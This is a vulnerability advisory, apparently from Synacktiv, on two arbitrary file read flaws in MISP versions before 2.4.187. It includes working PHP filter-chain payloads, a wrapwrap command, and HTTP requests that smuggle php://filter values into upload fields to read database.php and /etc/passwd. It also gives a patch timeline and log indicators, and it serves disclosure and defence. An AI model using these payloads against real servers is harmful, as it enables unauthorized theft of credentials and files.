MISP - Arbitrary file read
26/03/2024 - Téléchargement
Product
MISP core
Severity
Medium
Fixed Version(s)
2.4.187
Affected Version(s)
< 2.4.187
CVE Number
CVE-2024-29858,CVE-2024-29859
Authors
Description
Presentation
MISP is an open source threat intelligence platform with utilities and documentation for more effective threat intelligence, by sharing indicators of compromise.
Issue(s)
Synacktiv discovered 2 vulnerabilities in MISP, relying on the exploitation of PHP filter chain attacks. They both require authenticated access to the application and privileges to use the following features:
- Import a MISP export file.
- Create an organization.
Timeline
Date |
Description |
---|---|
2024.03.04 | Advisory sent to MISP |
2024.03.05 | MISP acknowledges the advisory |
2024.03.06 | Release of two patches (CVE-2024-29858, CVE-2024-29859) |
2024.03.11 | Release of version 2.4.187 containing the patches |
2024.03.24 | CVE-2024-29858 and CVE-2024-29859 assigned |
2024.03.26 | Public release |
Many thanks to MISP for handling this quick disclosure process.
Technical details
Arbitrary file read through MISP event exports
Description
The readFromFile
function relies on the native file_get_contents
method:
# app/Lib/Tools/FileAccessTool.php
public static function readFromFile($file, $fileSize = -1)
{
if ($fileSize === -1) {
$content = @file_get_contents($file);
} else {
[...]
}
This method supports the php://
wrapper and is therefore affected by attacks based on PHP filter chains. To reach the targeted code, the add_misp_export
function calls the readFormFile
method using a user-provided argument:
# app/Controller/EventsController.php
public function add_misp_export()
{
if ($this->request->is('post')) {
$results = array();
if (!empty($this->request->data)) {
if (empty($this->request->data['Event'])) {
$this->request->data['Event'] = $this->request->data;
}
if (!empty($this->request->data['Event']['filecontent'])) {
$data = $this->request->data['Event']['filecontent'];
$isXml = $data[0] === '<';
} elseif (isset($this->request->data['Event']['submittedfile'])) {
$file = $this->request->data['Event']['submittedfile'];
if ($file['error'] === UPLOAD_ERR_NO_FILE) {
$this->Flash->error(__('No file was uploaded.'));
$this->redirect(['controller' => 'events', 'action' => 'add_misp_export']);
}
$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (($ext !== 'xml' && $ext !== 'json') && $file['size'] > 0 && is_uploaded_file($file['tmp_name'])) {
$log = ClassRegistry::init('Log');
$log->createLogEntry($this->Auth->user(), 'file_upload', 'Event', 0, 'MISP export file upload failed', 'File details: ' . json_encode($file));
$this->Flash->error(__('You may only upload MISP XML or MISP JSON files.'));
throw new MethodNotAllowedException(__('File upload failed or file does not have the expected extension (.xml / .json).'));
}
$isXml = $ext === 'xml';
$data = FileAccessTool::readFromFile($file['tmp_name'], $file['size']);
}
[...]
try {
$results = $this->Event->addMISPExportFile($this->Auth->user(), $data, $isXml, $takeOwnership, $publish);
}
[...]
}
Impact
Because the addMISPExportFile
function passes its $data
argument to the jsonDecode
method, the extracted file content should be a valid JSON document.
# app/Model/Event.php
public function addMISPExportFile(array $user, $data, $isXml = false, $takeOwnership = false, $publish = false)
{
if (empty($data)) {
throw new Exception("File is empty");
}
[...]
$dataArray = $this->jsonDecode($data);
if (isset($dataArray['response'][0])) {
foreach ($dataArray['response'] as $k => $temp) {
$dataArray['Event'][] = $temp['Event'];
unset($dataArray['response'][$k]);
}
}
// In case we receive an event that is not encapsulated in a response. This should never happen (unless it's a copy+paste fail),
// but just in case, let's clean it up anyway.
if (isset($dataArray['Event'])) {
$dataArray['response']['Event'] = $dataArray['Event'];
unset($dataArray['Event']);
} elseif (!isset($dataArray['response'])){
// Accept an event not containing the `Event` key
$dataArray['response']['Event'] = $dataArray;
}
[...]
}
This JSON file should respect the following format:
{
"response": [
{
"Event": {
// [...]
"Attribute": [
{
// [...]
"value": "<FILE CONTENT HERE>"
}
]
}
}
]
}
In order to transform arbitrary data to valid JSON, the wrapwrap tool (developed by Charles Fol from LEXFO) was used to surround the extracted content with an arbitrary prefix and suffix, using PHP filter chains.
$ ./wrapwrap.py /var/www/MISP/app/Config/database.php '{"response": [{"Event":{"orgc_id":"1","org_id":"1","date":"2024-02-29","threat_level_id":"1","info":"test","published":false,"attribute_count":"1","analysis":"0","event_creator_email":"admin@admin.test","Org":{"id":"1","name":"ORGNAME","local":true},"Orgc":{"id":"1","name":"ORGNAME","local":true},"Attribute":[{"type":"text","category":"Internal reference","to_ids":false,"distribution":"0","timestamp":"1709223278","comment":"","sharing_group_id":"0","deleted":false,"disable_correlation":false,"object_id":"0","object_relation":null,"first_seen":null,"last_seen":null,"value":" ' ' "}]}}]}' 600
[*] Dumping 603 bytes from /var/www/MISP/app/Config/database.php.
[+] Wrote filter chain to chain.txt (size=635222).
$ cat chain.txt
php://filter/convert.base64-encode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.855.UTF7|convert.base64-decode|convert.quoted-printable-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.quoted-printable-encode|convert.iconv.855.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.quoted-printable-encode|convert.iconv.855.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.quoted-printable-encode|convert.iconv.855.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.437.UCS
[...]
|convert.iconv.855.UTF7|convert.base64-decode|dechunk|convert.base64-decode|convert.base64-decode/resource=/var/www/MISP/app/Config/database.php
The authenticated attacker can then use the crafted PHP filter to read the file content:
POST /events/add_misp_export HTTP/1.1
Host: 192.168.122.189
Accept: application/json
Authorization: [...]
Content-Type: application/json
Cookie: [...]
Content-Length: 635280
{"Event": {"submittedfile": {"size": -1, "tmp_name": "php://filter/convert.base64-encode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.855.UTF7|convert.base64-decode
[...]
-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode|dechunk|convert.base64-decode|convert.base64-decode/resource=/var/www/MISP/app/Config/database.php"}}}
HTTP/1.1 500 Internal Server Error
[...]
{"name":"An Internal Error Has Occurred.","message":"An Internal Error Has Occurred.","url":"\/events\/add_misp_export"}
Despite the internal error, the event is still created and the Value
attribute contains the file content:
<?php=0A
class DATABASE_CONFIG {=0A
public $default =3D array(=0A
'datasource' =3D> 'Database/Mysql',=0A
//'datasource' =3D> 'Database/Postgres',=0A
'persistent' =3D> false,=0A
'host' =3D> 'localhost',=0A
'login' =3D> 'misp',=0A
'port' =3D> 3306, // MySQL & MariaDB=0A
//'port' =3D> 5432, // PostgreSQL=0A
'password' =3D> 'e2[...]c6',=0A
'database' =3D> 'misp',=0A
'pr
Recommendation
Upgrade MISP to version 2.4.187 at least.
Arbitrary file read through organization creation
Description
The __uploadLogo
function relies on the native mime_content_type
method:
# app/Controller/OrganisationsController.php
public function admin_add()
{
if ($this->request->is('post')) {
[...]
$this->Organisation->create();
$this->request->data['Organisation']['created_by'] = $this->Auth->user('id');
[...]
if ($this->Organisation->save($this->request->data)) {
$this->__uploadLogo($this->Organisation->id);
}
[...]
}
private function __uploadLogo($orgId)
{
if (!isset($this->request->data['Organisation']['logo']['size'])) {
return false;
}
$logo = $this->request->data['Organisation']['logo'];
if ($logo['size'] > 0 && $logo['error'] == 0) {
$extension = pathinfo($logo['name'], PATHINFO_EXTENSION);
$filename = $orgId . '.' . ($extension === 'svg' ? 'svg' : 'png');
if ($logo['size'] > 250*1024) {
$this->Flash->error(__('This organisation logo is too large, maximum file size allowed is 250kB.'));
return false;
}
if ($extension !== 'svg' && $extension !== 'png') {
$this->Flash->error(__('Invalid file extension, Only PNG and SVG images are allowed.'));
return false;
}
$imgMime = mime_content_type($logo['tmp_name']);
[...]
}
This method supports the php://
wrapper and is therefore affected by attacks based on PHP filter chains. When adding a new organization, the application passes the user-provided value to the affected function without sanitization.
The creation of a new organization from a legitimate workflow normally results with a 200
status code:
POST /admin/organisations/add HTTP/1.1
Host: 192.168.122.189
Authorization: [...]
Content-Type: application/json
Cookie: [...]
Content-Length: 111
{"Organisation": {"local":0,"name":"test9","logo":{"name":"test.png","size":1,"error":0,"tmp_name":"hello.png"}}}
HTTP/1.1 200 OK
[...]
{
"Organisation": {
"id": "33",
"name": "test9",
"date_created": "2024-03-01 16:40:14",
"date_modified": "2024-03-01 16:40:14",
"description": null,
"type": "",
"nationality": "",
"sector": "",
"created_by": "1",
"uuid": "ac09294d-1b9c-47d9-bb4d-b3895d614146",
"contacts": null,
"local": false,
"restricted_to_domain": null,
"landingpage": null
}
}
However, when the error-based oracle is triggered, the server prompts a 500
error code:
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4/resource=php://temp
POST /admin/organisations/add HTTP/1.1
Host: 192.168.122.189
Authorization: [...]
Content-Type: application/json
Cookie: [...]
Content-Length: 1255
{"Organisation": {"local":0,"name":"p","logo":{"name":"test.png","size":1,"error":0,"tmp_name":"php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4/resource=php://temp"}}}
HTTP/1.1 500 Internal Server Error
[...]
{"name":"An Internal Error Has Occurred.","message":"An Internal Error Has Occurred.","url":"\/admin\/organisations\/add"}
Impact
An attacker could retrieve files such as /etc/passwd
or /var/www/MISP/app/Config/database.php
by exploiting an error-based oracle. However, this exploitation would require generating random organization names on each request, and would also generate as much new organizations.
IOC
The following error messages are generated in the web server logs:
$ grep -Ri "Allowed memory size of" /var/log/apache2/
/var/log/apache2/misp.local_error.log:[Fri Mar 01 16:26:47.367545 2024] [php7:error] [pid 7327] [client 192.168.122.1:40342] PHP Fatal error: Allowed memory size of 2147483648 bytes exhausted (tried to allocate 1541406720 bytes) in /var/www/MISP/app/Controller/OrganisationsController.php on line 494
/var/log/apache2/misp.local_error.log:[Fri Mar 01 16:31:47.015755 2024] [php7:error] [pid 5808] [client 192.168.122.1:41376] PHP Fatal error: Allowed memory size of 2147483648 bytes exhausted (tried to allocate 402653184 bytes) in /var/www/MISP/app/Controller/OrganisationsController.php on line 494
/var/log/apache2/misp.local_error.log:[Fri Mar 01 16:32:41.339757 2024] [php7:error] [pid 7563] [client 192.168.122.1:34496] PHP Fatal error: Allowed memory size of 2147483648 bytes exhausted (tried to allocate 805306368 bytes) in /var/www/MISP/app/Controller/OrganisationsController.php on line 494
[...]
This is due to PHP Allowed memory size exhaustion
errors being used as an oracle during the file content exfiltration.